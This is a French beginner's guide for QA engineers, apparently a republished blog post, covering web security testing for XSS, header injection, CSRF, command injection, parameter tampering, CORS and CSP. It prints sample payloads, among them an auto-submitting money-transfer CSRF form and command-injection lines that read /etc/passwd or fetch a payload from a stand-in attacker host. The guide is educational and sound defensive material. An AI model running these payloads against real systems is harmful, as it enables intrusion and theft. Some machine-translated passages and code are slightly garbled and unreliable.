Cet article explore les vulnérabilités fondamentales et les techniques de test, fournissant des informations pratiques pour améliorer vos compétences en matière de test d'application Web. L'article combine une série de mes articles dédiés aux ingénieurs et analystes QA, offrant une exploration pratique des vulnérabilités fondamentales de la cybersécurité. L'objectif est de doter les ingénieurs/testeurs/analystes d'assurance qualité de connaissances qui comblent le fossé entre l'assurance qualité des logiciels et , en favorisant une approche unifiée pour garantir l'intégrité et la sécurité des applications Web. la cybersécurité Ceci n'est pas un guide ultime, mais j'aimerais partager mon expérience en tant qu'ingénieur QA intéressé par le domaine de la cybersécurité ; ce seront des informations assez superficielles avec quelques liens utiles si vous souhaitez approfondir certains aspects. 1. XSS (scripts intersites) L'une des vulnérabilités critiques et les plus courantes est XSS - https://owasp.org/www-community/attacks/xss/ Je partagerai une approche simple et des conseils sur la façon de tester XSS sans avoir de connaissances approfondies dans le domaine et dans les technologies de développement frontend. Saisissez par exemple une balise de script, suivie d'un code JS, dans les champs de saisie de votre application. <script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) Soumettez l'entrée et voyez si le script s'exécute. Si tel est le cas, l’application est vulnérable aux attaques XSS. Si le script ne s'exécute pas, essayez de modifier l'entrée en ajoutant d'autres balises HTML, telles que ou et voyez si elles se reflètent sur la page, par exemple (cet exemple fonctionne presque toujours pour moi) <img> <iframe>, <b>t</b>#`"/*—est Vous pouvez ajouter un script pour interroger les paramètres de l'URL de votre application Web ou un nom d'utilisateur, les noms de fichiers téléchargés ( ) ou tout texte qui sera affiché sur la page de l'application et que vous pouvez modifier . https://github.com/cure53/H5SC Soyez conscient des validations frontales des entrées. Essayez toujours de soumettre la valeur à l'aide d'une demande directe (en utilisant Postman, Burp ou tout autre outil similaire). Utilisez le fuzzing et une liste de charges utiles - automatisez cette approche lorsque cela est possible ou utilisez des outils spéciaux pour cela. En parlant d'outils, il y en a beaucoup pour découvrir XSS, en essayer différents, comparer plusieurs fois les résultats avec différentes applications et choisir celle qui vous plaît le plus : (j'en ai beaucoup utilisé OWASP ZAP et BurpSuite). https://linuxhint.com/free_xss_tools/ Personnellement, j'aime utiliser les charges utiles et les informations d'ici - - une ressource très utile, à mon avis. https://github.com/s0md3v/AwesomeXSS Pour plus de détails sur XSS et les charges utiles, vous pouvez trouver les ressources suivantes : https://owasp.org/www-community/attacks/xss/ https://portswigger.net/web-security/cross-site-scripting/cheat-sheet https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45 2. Injections d'en-tête Cette vulnérabilité se produit lorsqu'un attaquant peut injecter du code malveillant dans l'en-tête d'un site Web, lui permettant d'exécuter des actions non autorisées ou d'accéder à des informations sensibles. Pour tester les injections d'en-tête, vous pouvez suivre quelques étapes : Utilisez des outils tels que Postman, Burp ou tout autre outil similaire pour manipuler les en-têtes HTTP et voir si vous pouvez ajouter des en-têtes non autorisés ou modifier ceux existants. Vérifiez si le serveur envoie des informations sensibles dans les en-têtes de réponse. Essayez de manipuler les cookies en ajoutant du contenu malveillant ou en modifiant leurs valeurs. Un exemple de charge utile pour tester les injections d’en-tête consiste à inclure un caractère de nouvelle ligne dans le champ d’en-tête, suivi d’en-têtes supplémentaires. (%0d%0a OR \r\n) Par exemple, la charge utile suivante pourrait être utilisée pour injecter un en-tête Set-Cookie : User-Agent: Mozilla/5.0\r\nSet-Cookie: sessionid=111111 https:// yoursite. com?cookie=123%0D%0ASet-Cookie%3A%20TESTCOOKIE=hacked Un autre exemple est l'injection d'en-tête Host, où un attaquant peut manipuler l'en-tête Host pour accéder à un autre site Web ou sous-domaine sur le même serveur. Par exemple: Host: yoursite.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: admin.yoursite.com Pour en savoir plus sur les injections d'en-tête, vous pouvez vous référer aux ressources suivantes : https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning https://www.acunetix.com/blog/web-security-zone/http-header-injection/ https://portswigger.net/web-security/host-header/exploiting 3. CSRF (contrefaçon de demande intersite) CSRF se produit lorsqu'un site Web malveillant incite un utilisateur à agir sur un autre site Web auquel l'utilisateur est actuellement connecté. Ce type d'attaque peut entraîner l'exécution d'actions non autorisées (toute requête POST) au nom de l'utilisateur. Pour tester les vulnérabilités CSRF, en un mot, vous pouvez procéder comme suit : Recherchez des formulaires ou des actions sur le site Web qui effectuent des actions sensibles, il peut s'agir de modifier des mots de passe ou d'effectuer des transactions (ou toute autre demande de publication qui pourrait nuire aux utilisateurs si elles sont effectuées au nom de l'utilisateur à son insu). Créez une page HTML ou un extrait de code contenant un formulaire masqué qui effectue la même action, par exemple : <html> <body onload="document.forms[0].submit()"> <form action="https:// yoursite .com /money_transfer" method="POST"> <input type="hidden" name="toAccount" value="attackerAccount"> <input type="hidden" name="amount" value="1000"> </form> </body> </html> Enregistrez ce code sous forme de fichier HTML et ouvrez-le dans le même navigateur que celui dans lequel vous vous êtes connecté sur le site que vous testez. Vérifiez si l'action a été effectuée à l'insu ou sans l'autorisation de l'utilisateur. Dans l'exemple 2, l'utilisateur est amené à visiter un site Web qui soumet automatiquement un formulaire caché pour transférer 1 000 $ vers le compte de l'attaquant sur le site Web cible. Pour éviter les attaques CSRF, utilisez des jetons anti-CSRF ou des cookies de même site pour valider l'origine de la demande. Ces jetons sont des valeurs uniques générées par le serveur et incluses dans les paramètres du formulaire ou de l'URL. Lorsque le formulaire est soumis, le serveur vérifie si le jeton correspond à la valeur attendue et rejette la demande s'il ne correspond pas. Voici un exemple en Python : import requests # Get the CSRF token from the cookie def get_csrf_token(): cookie = requests.utils.dict_from_cookiejar(requests.cookies) return cookie.get('csrfToken') # Send an HTTP request with the CSRF token in the headers def send_http_request(url, data): csrf_token = get_csrf_token() headers = { 'Content-Type': 'application/json', 'X-CSRF-TOKEN': csrf_token } response = requests.post(url, headers=headers, data=data) return response Ressources utiles : https://owasp.org/www-community/attacks/csrf https://portswigger.net/web-security/csrf https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html 4. RCE (exécution de code à distance) et injection de commandes Les vulnérabilités RCE et Command Injection se produisent lorsque des attaquants peuvent exécuter du code arbitraire ou des commandes du système d’exploitation sur un système cible. Ces types d'attaques peuvent entraîner la compromission complète du système et un accès non autorisé aux données sensibles. Pour tester les vulnérabilités RCE et Command Injection, en un mot, vous pouvez procéder comme suit : Identifiez les champs de saisie ou les paramètres qui peuvent être manipulés. Ces champs ou paramètres de saisie peuvent être trouvés dans un large éventail d'endroits, tels que des formulaires, des paramètres d'URL, des cookies, des en-têtes HTTP, etc. Pour identifier ces paramètres, vous pouvez utiliser un outil tel que Burp Suite, qui vous permet d'intercepter et modifier les requêtes et réponses HTTP (dans une version gratuite). Burp capturera et affichera toutes les demandes et réponses, y compris les champs de saisie et les paramètres. Une fois que vous avez vos paramètres, vous devez vérifier s'ils peuvent être utilisés pour exécuter le code inséré ou les commandes du système d'exploitation. Injectez des charges utiles malveillantes dans ces champs ou paramètres, voici quelques exemples simples et possibles : ; ls -la - list the contents of a directory cat /etc/passwd - show the password file wget https://myhackersite.evil/payload - download files with malicious code from a remote server ping -c 1 https://www.linkedin.com/redir/general-malware-page?url=myhackersite%2eevil%2ecom - ping the attacker's website 3 Vérifiez le comportement de l'application pour voir si la charge utile a été exécutée avec succès et si des informations sensibles vous ont été envoyées. Par exemple, si vous avez utilisé et que l'application a affiché une liste de fichiers et de répertoires sur le serveur, cela indique que la charge utile a été exécutée avec succès et que l'application est vulnérable à l'injection de commandes. ls -la Toutes les charges utiles n’aboutiront pas à une sortie visible. Dans de tels cas, vous devrez peut-être utiliser d'autres méthodes, telles que la surveillance du trafic réseau ou l'examen des fichiers journaux. Pour empêcher les attaques RCE et Command Injection, les entrées de l’utilisateur doivent être validées et les caractères ou commandes malveillants doivent être supprimés ou nettoyés. Voici quelques ressources utiles pour approfondir votre apprentissage : https://owasp.org/www-community/attacks/Command_Injection https://owasp.org/www-community/attacks/Code_Injection https://portswigger.net/web-security 5. Falsification des paramètres Web Ce type d'attaque se produit lorsque vous manipulez les paramètres envoyés du côté client vers le côté serveur, conduisant, par exemple, à un accès non autorisé ou à une élévation de privilèges. Pour tester ce type de vulnérabilité, vous pouvez procéder comme suit : Identifiez les champs de saisie ou les paramètres qui peuvent être manipulés. Semblable à d’autres vulnérabilités, vous pouvez utiliser un outil tel que Burp Suite pour intercepter et modifier les requêtes et réponses HTTP. Modifiez les paramètres. Par exemple, si un paramètre contrôle le prix d'un produit, vous pouvez le modifier pour acheter des articles à un prix inférieur :- changer le prix d'un produit de 10 à 1.- contourner l'authentification en manipulant le paramètre ID utilisateur.- modifier le quantité d'un produit à un nombre négatif pour obtenir un remboursement ou à un nombre plus élevé pour obtenir plus d'articles pour le prix d'un article. Vérifiez le comportement de l'application pour voir si la falsification a réussi. Par exemple, si vous réussissez à modifier le prix, l'application doit refléter ce changement lorsque vous vérifiez le panier ou le reçu. Et bien sûr, signalez vos découvertes aux développeurs afin qu'ils puissent résoudre le problème avant qu'il ne devienne un risque pour la sécurité. Pour empêcher les attaques de falsification des paramètres Web, la validation et la désinfection des entrées sont cruciales. Assurez-vous que toutes les données d'entrée sont validées côté serveur et que l'application rejette toute entrée malveillante. Je dirais que ces types de vulnérabilités sont les meilleures à identifier par une équipe d'assurance qualité, car les agents d'assurance qualité connaissent mieux l'application/le produit, sa logique et ses paramètres que les ingénieurs infosec qui ne sont généralement pas impliqués dans le processus de développement. Voici quelques ressources supplémentaires pour vous aider à en savoir plus sur la falsification des paramètres Web : https://owasp.org/www-community/attacks/Web_Parameter_Tampering https://www.geeksforgeeks.org/web-parameter-tampering-attack-on-web-servers/ https://www.imperva.com/learn/application-security/parameter-tampering/ 6. Partage de ressources multi-origines (CORS) Il s'agit d'un mécanisme de sécurité qui empêche les pages Web d'effectuer des requêtes vers un domaine différent de celui qui a servi la page Web. Vous pouvez tester en procédant comme suit : Ouvrez dans le navigateur n'importe quel domaine (par exemple, google. com) à partir duquel il devrait être interdit d'accéder à votre hébergeur. Dans la console du navigateur, utilisez cette commande : fetch('https://beapimysite.com') .then(response=>response.json()) .then(data=>{ console.log(data); }) Si tout est correctement configuré, vous devriez obtenir ce qui suit : access to fetch at 'https://beapimysite.com' from origin 'https://www. google.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. Suivez ces étapes simples : Recherchez les domaines d'origine et de destination impliqués dans la demande. Le domaine d'origine est le domaine de la page Web effectuant la demande et le domaine de destination est le domaine auquel la demande est envoyée. À l'aide d'un outil comme Postman, envoyez une requête du domaine d'origine au domaine de destination. Assurez-vous d'inclure les en-têtes appropriés pour indiquer que la demande est une demande d'origine croisée. Le serveur doit inclure l'en-tête Access-Control-Allow-Origin dans la réponse pour indiquer que la demande est autorisée à partir du domaine d'origine. Si cet en-tête est manquant ou défini sur une valeur différente, cela peut indiquer une vulnérabilité dans l'application. Si l’en-tête Access-Control-Allow-Origin est manquant ou défini sur une valeur, essayez de contourner les restrictions en modifiant la demande. Par exemple, vous pouvez essayer de modifier l'en-tête Origin pour qu'il corresponde au domaine de destination ou d'utiliser une autre méthode HTTP. Voici quelques exemples de requêtes à tester : Request from https://mysite.com to https://beapimysite.com: GET /api/data HTTP/1.1 Host: beapimysite.com Origin: https ://mysite.com Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Requested-With Réponse: HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: X-Requested-With Pour plus d’informations sur CORS, voici quelques ressources utiles : https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS https://portswigger.net/web-security/cors 7. En-tête de politique de sécurité du contenu (CSP) non défini CSP est un mécanisme qui permet de prévenir les attaques XSS en permettant de spécifier quelles sources de contenu peuvent être chargées sur les pages Web. Sans ensemble d'en-têtes CSP, il est potentiellement possible d'injecter des scripts malveillants dans la page et de voler des données utilisateur sensibles ou d'effectuer d'autres actions. Vous pouvez procéder comme suit pour vérifier l'en-tête CSP : Ouvrez la page Web que vous souhaitez tester dans un navigateur. Ouvrez les outils de développement dans votre navigateur et accédez à la console. Entrez le code suivant : document.cookie=TESTCOOKIE=XSS; S'il s'exécute avec succès, aucun message d'erreur. Cela indique que la page est potentiellement vulnérable à XSS car elle permet de définir des cookies à partir d'une source externe. Essayez d'injecter un script dans la page et voyez s'il s'exécute. Par exemple, insérez le code suivant dans la console du navigateur : var script = document.create; Element('script');script.src = 'http://dangeroussite.com/dolphin.js'; document.head.appendChild(script); Recherchez l’en-tête Content-Security-Policy dans les en-têtes de réponse. Si cet en-tête est manquant, cela signifie que la page Web n'a aucun en-tête CSP défini. L'en-tête CSP est un élément important dans la sécurité des applications Web. Pour plus d’informations sur le CSP : https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP La relation symbiotique entre la cybersécurité et l’assurance qualité des logiciels est importante en termes de sécurité des applications logicielles. Grâce à l'intégration de méthodologies de modélisation des menaces et de techniques de tests de fuzz automatisés, les ingénieurs QA contribuent de manière significative à la détection précoce et à l'atténuation des vulnérabilités de sécurité. La collaboration entre les équipes de cybersécurité et d'assurance qualité fait partie intégrante d'une approche unifiée du développement logiciel, le rôle de l'assurance qualité s'étendant au-delà des tests fonctionnels et d'utilisabilité pour englober l'identification et la rectification proactives des failles de sécurité potentielles. Il est important de reconnaître l'assurance qualité comme un atout stratégique dans les efforts de cybersécurité, car elle améliore non seulement la protection des données, mais protège également la réputation d'une entreprise, la confiance des clients et la stabilité financière globale. Les compétences techniques des professionnels de l’assurance qualité, associées à leurs pratiques de tests rigoureuses, établissent une défense robuste contre les cybermenaces. Un rappel crucial : Effectuez toujours des tests d’intrusion avec une autorisation explicite et dans un environnement contrôlé. Cette approche éthique garantit que les évaluations de sécurité s'alignent sur des protocoles de test responsables, évitant ainsi toute compromission involontaire des systèmes et garantissant l'intégrité du processus de test et de la stratégie globale de cybersécurité. Cet article partage des conseils pratiques destinés aux ingénieurs QA pour améliorer les tests de sécurité des applications Web, en connectant l'AQ des logiciels et la cybersécurité. Il s'agit d'un guide convivial pour les débutants, contenant des informations et des liens utiles pour ceux qui souhaitent en savoir plus. Également publié . ici

This story contains new, firsthand information uncovered by the writer.

Cet audio est produit dans la langue originale de l'histoire !

Trop long; Pour lire

Making security fun one episode at a time

Les essentiels de la cybersécurité : conseils pratiques sur les tests de sécurité des applications Web pour les ingénieurs QA

Trop long; Pour lire

Constantine

STORY’S CREDIBILITY

Original Reporting

About Author

ÉTIQUETTES

Languages

CET ARTICLE A ÉTÉ PARU DANS...

Les essentiels de la cybersécurité : conseils pratiques sur les tests de sécurité des applications Web pour les ingénieurs QA

Trop long; Pour lire

Constantine

STORY’S CREDIBILITY

Original Reporting

About Author

ÉTIQUETTES

Languages

CET ARTICLE A ÉTÉ PARU DANS...

HISTOIRES CONNEXES